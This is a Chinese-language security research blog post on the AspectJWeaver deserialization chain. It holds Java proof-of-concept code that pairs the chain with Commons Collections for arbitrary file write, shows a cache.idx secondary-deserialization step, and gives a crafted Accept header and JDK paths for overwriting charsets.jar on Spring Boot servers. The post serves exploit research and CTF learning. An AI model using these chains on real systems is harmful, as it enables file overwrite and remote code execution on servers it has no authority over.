AspectJWeaver写文件及后续利用
2023-10-01 03:25:39

https://xz.aliyun.com/t/11499
https://www.ctfiot.com/43232.html
AspectJWeaver利用链,以及rt.jar覆盖 (yuque.com)

前言

实际上很久之前就知道这条链子了,但是我一直没有写相关的记录,刚刚发现了一个非常有意思的东西,所以就抄抄m1师傅的博客,顺便再加点自己的东西

丢个依赖

   <dependency>
       <groupId>org.aspectj</groupId>
       <artifactId>aspectjweaver</artifactId>
       <version>1.9.2</version>
   </dependency>

<dependency>  
   <groupId>commons-collections</groupId>  
   <artifactId>commons-collections</artifactId>  
   <version>3.2.1</version>  
</dependency>

该利用链需要配合cc或者其他依赖进行使用

利用链分析

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap是一个内部类,其put方法如下

@Override  
public Object put(Object key, Object value) {  
   try {  
      String path = null;  
      byte[] valueBytes = (byte[]) value;  
      if (Arrays.equals(valueBytes, SAME_BYTES)) {  
         path = SAME_BYTES_STRING;  
      } else {  
         path = writeToPath((String) key, valueBytes);  
      }  
      Object result = super.put(key, path);  
      storeMap();  
      return result;  
   } catch (IOException e) {  
      trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);  
      Dump.dumpWithException(e);  
   }  
   return null;  
}

写文件利用点位writeToPath函数,跟进查看

private String writeToPath(String key, byte[] bytes) throws IOException {  
   String fullPath = folder + File.separator + key;  
   FileOutputStream fos = new FileOutputStream(fullPath);  
   fos.write(bytes);  
   fos.flush();  
   fos.close();  
   return fullPath;  
}

可以发现将key拼接入了fullpath中,使用FileOutputStream新建了该文件,并将bytes写入其中,这就是我们最终利用的点。

利用链示例编写

观察其构造方法,接受参数folder 与 storingTimer
Pasted image 20230930111240.png
在写入文件时会拼接folder参数,所以应指定为写入的目录,而storingTimer是一个判断缓存的时间,后面会说
Pasted image 20230930111333.png
因SimpleCache$StoreableCachingMap是个内部private类,所以用反射实例化

import java.lang.reflect.Constructor;  
import java.nio.charset.StandardCharsets;  
import java.util.HashMap;  
  
public class new_hashcode {  
    public static void main(String[] args) throws Exception{  
  
        //反射获取构造函数并实例化  
        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");  
        Constructor<?> constructor = aClass.getDeclaredConstructor(String.class,int.class);  
        constructor.setAccessible(true);  
        //该类继承了hashmap,所以通过将其转化为hashmap类,并调用其put方法  
        HashMap hashMap = (HashMap) constructor.newInstance("D:/tmp", 1);  
        hashMap.put("1.txt","this is a test".getBytes(StandardCharsets.UTF_8));  
    }  
}

Pasted image 20230930111941.png

结合CC链进行编写

BadAttributeValueExpException.readObject
	TiedMapEntry.toString ----> getValue
		LazyMap.get
			StoreableCachingMap.put
package sec.unserialize.aspectjweaver;  
  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import sec.tools;  
  
import javax.management.BadAttributeValueExpException;  
import java.lang.reflect.Constructor;  
import java.nio.charset.StandardCharsets;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC_write {  
    public static void main(String[] args) throws Exception{  
        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");  
        Constructor<?> constructor = aClass.getDeclaredConstructor(String.class,int.class);  
        constructor.setAccessible(true);  
        HashMap hashMap = (HashMap) constructor.newInstance("D:/tmp", 100);  
  
        ConstantTransformer constantTransformer = new ConstantTransformer("This is test".getBytes(StandardCharsets.UTF_8));  
        Map lazymap = LazyMap.decorate(hashMap, constantTransformer);  
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1.txt");  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);  
        tools.setValue(badAttributeValueExpException,"val",tiedMapEntry);  
  
        String serialize = tools.serialize(badAttributeValueExpException);  
        tools.unserialize(serialize);  
    }  
}

正向反序列化

在put函数写入文件后,还有一个函数storeMap
Pasted image 20230930115006.png
其内容为

public void storeMap() {  
   long now = System.currentTimeMillis();  
   if ((now - lastStored ) < storingTimer){  
      return;  
   }  
   File file = new File(folder + File.separator + CACHENAMEIDX);;  
   try {  
      ObjectOutputStream out = new ObjectOutputStream(  
            new FileOutputStream(file));  
      // Deserialize the object  
      out.writeObject(this);  
      out.close();  
      lastStored = now;  
   } catch (Exception e) {  
      trace.error("Error storing cache; cache file:"+file.getAbsolutePath(), e);  
      Dump.dumpWithException(e);  
   }  
}

可以看见在storingTimer就在此出现,storingTimer是缓存时间,如果过期就会将对象进行序列化,写入名为cache.idx的文件中
Pasted image 20230930115255.png
当我们将storingTimer设置的很小,例如0时,就会将序列化数据写入folder目录中的cache.idx
Pasted image 20230930120909.png
Pasted image 20230930120855.png
那么既然有序列化,就有反序列化,我们可以找到StoreableCachingMap$init函数

public static StoreableCachingMap init(String folder, int storingTimer) {  
   File file = new File(folder + File.separator + CACHENAMEIDX);  
   if (file.exists()) {  
      try {  
         ObjectInputStream in = new ObjectInputStream(  
               new FileInputStream(file));  
         // Deserialize the object  
         StoreableCachingMap sm = (StoreableCachingMap) in.readObject();  
         sm.initTrace();  
         in.close();  
         return sm;  
      } catch (Exception e) {  
         Trace trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);  
         trace.error("Error reading Storable Cache", e);  
      }  
   }  
  
   return new StoreableCachingMap(folder,storingTimer);  
  
}

该函数在SimpleCache类实例化时调用
Pasted image 20230930121033.png
也就是说通过构造函数实例化SimpleCache类时,设置folder为cache.idx存在的目录,执行init时便会读取该文件的数据并进行反序列化
那么我们就可以将恶意序列化数据写入cache.idx,在通过构造函数实例化触发反序列化
Pasted image 20230930122030.png
随便将一条链子写入cache.idx

import org.aspectj.weaver.tools.cache.SimpleCache;  
import java.lang.reflect.Constructor;  
  
public class evil_cache {  
    public static void main(String[] args) throws Exception{  
        Class<?> aClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache");  
        Constructor<?> constructor = aClass.getDeclaredConstructor(String.class, boolean.class);  
        constructor.setAccessible(true);  
        SimpleCache o = (SimpleCache) constructor.newInstance("D:/tmp", true);  
    }  
}

成功执行
Pasted image 20230930122116.png

写文件及后续利用!

spring场景覆盖charset.jar

https://landgrey.me/blog/22/
由于springboot项目将所有的依赖打包进了jar文件中,所以没法在程序运行时对其classpath中写入任何东西,但是在JDK目录下,系统的classpath目录可以被写入文件
这里有一个比较新颖的知识点:
vm 为了避免一下加载太多暂时用不到或者以后都用不到的类,不会在一开始运行时把所有的 JDK HOME 目录下自带的 jar 文件全部加载到类中,存在 "**懒加载**" 行为。主要特征就是相关 jar 文件的 Opened 操作没有在一开始就发生,而是调用到相关类时被触发。
文章内直接就指出了该文件 jre/lib/charsets.jar
程序代码中如果没有使用 Charset.forName("GBK") 类似的代码,默认就不会加载到 /jre/lib/charsets.jar 文件
启个spring服务调一下看看
看下spring-web组件中org.springframework.web.accept.HeaderContentNegotiationStrategy
Pasted image 20230930124239.png
对于每一次请求,spring服务都会获取其header头,并且进行处理
进入MediaType.parseMediaTypes
Pasted image 20230930124332.png
将值传入parseMediaTypes中
Pasted image 20230930124439.png
会将数据切片轮流进行parseMediaType
在parseMineType中,当mimeType开头为multipart,会进入parseMimeTypeInternal函数
会进行一系列的处理,然后进入new MimeType函数
Pasted image 20230930130635.png
再进入checkParameters函数
Pasted image 20230930130646.png
最后会使用Charset.forName()去加载指定字符集,此时会去加载charset.jar
Pasted image 20230930130711.png

大概的调用路线

HeaderContentNegotiationStrategy.resolveMediaTypes
	MediaType.parseMediaTypes --->parseMediaTypes--->parseMediaType
		MimeTypeUtils.parseMimeType ---> parseMimeTypeInternal
			new MimeType ---> MimeType.checkParameters
				Charset.forName(unquote(value))

携带的Accpet头:

Accept: multipart/aa;text/html;charset=GBK

我看网上的大部分poc都是没有multipart的,很怪,是我的问题么
用网络上的poc调了一遍,发现岔路口在于
Pasted image 20230930132542.png
后续的调用栈为
Pasted image 20230930132626.png
进入cachedMimeTypes.get,调用了this.generator.apply(key)
Pasted image 20230930132753.png
然后就会莫名其妙的进入了parseMimeTypeInternal,貌似是和lambda有关,但是我确实不太懂
Pasted image 20230930132924.png
后续还是一样的,charset.jar就到此为止

charset.jar常规目录

/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/

实际上不止charset.jar可以用,还有rj.jar等

结尾

实际上AspectJWeaver写文件可以做的不仅仅只有这些,再一些CTF题目中也会和其他的依赖组合,例如snakeyaml、XML、XStream、fastjson等,包括其正向反序列化都是一个非常有意思的点

Prev
2023-10-01 03:25:39
Next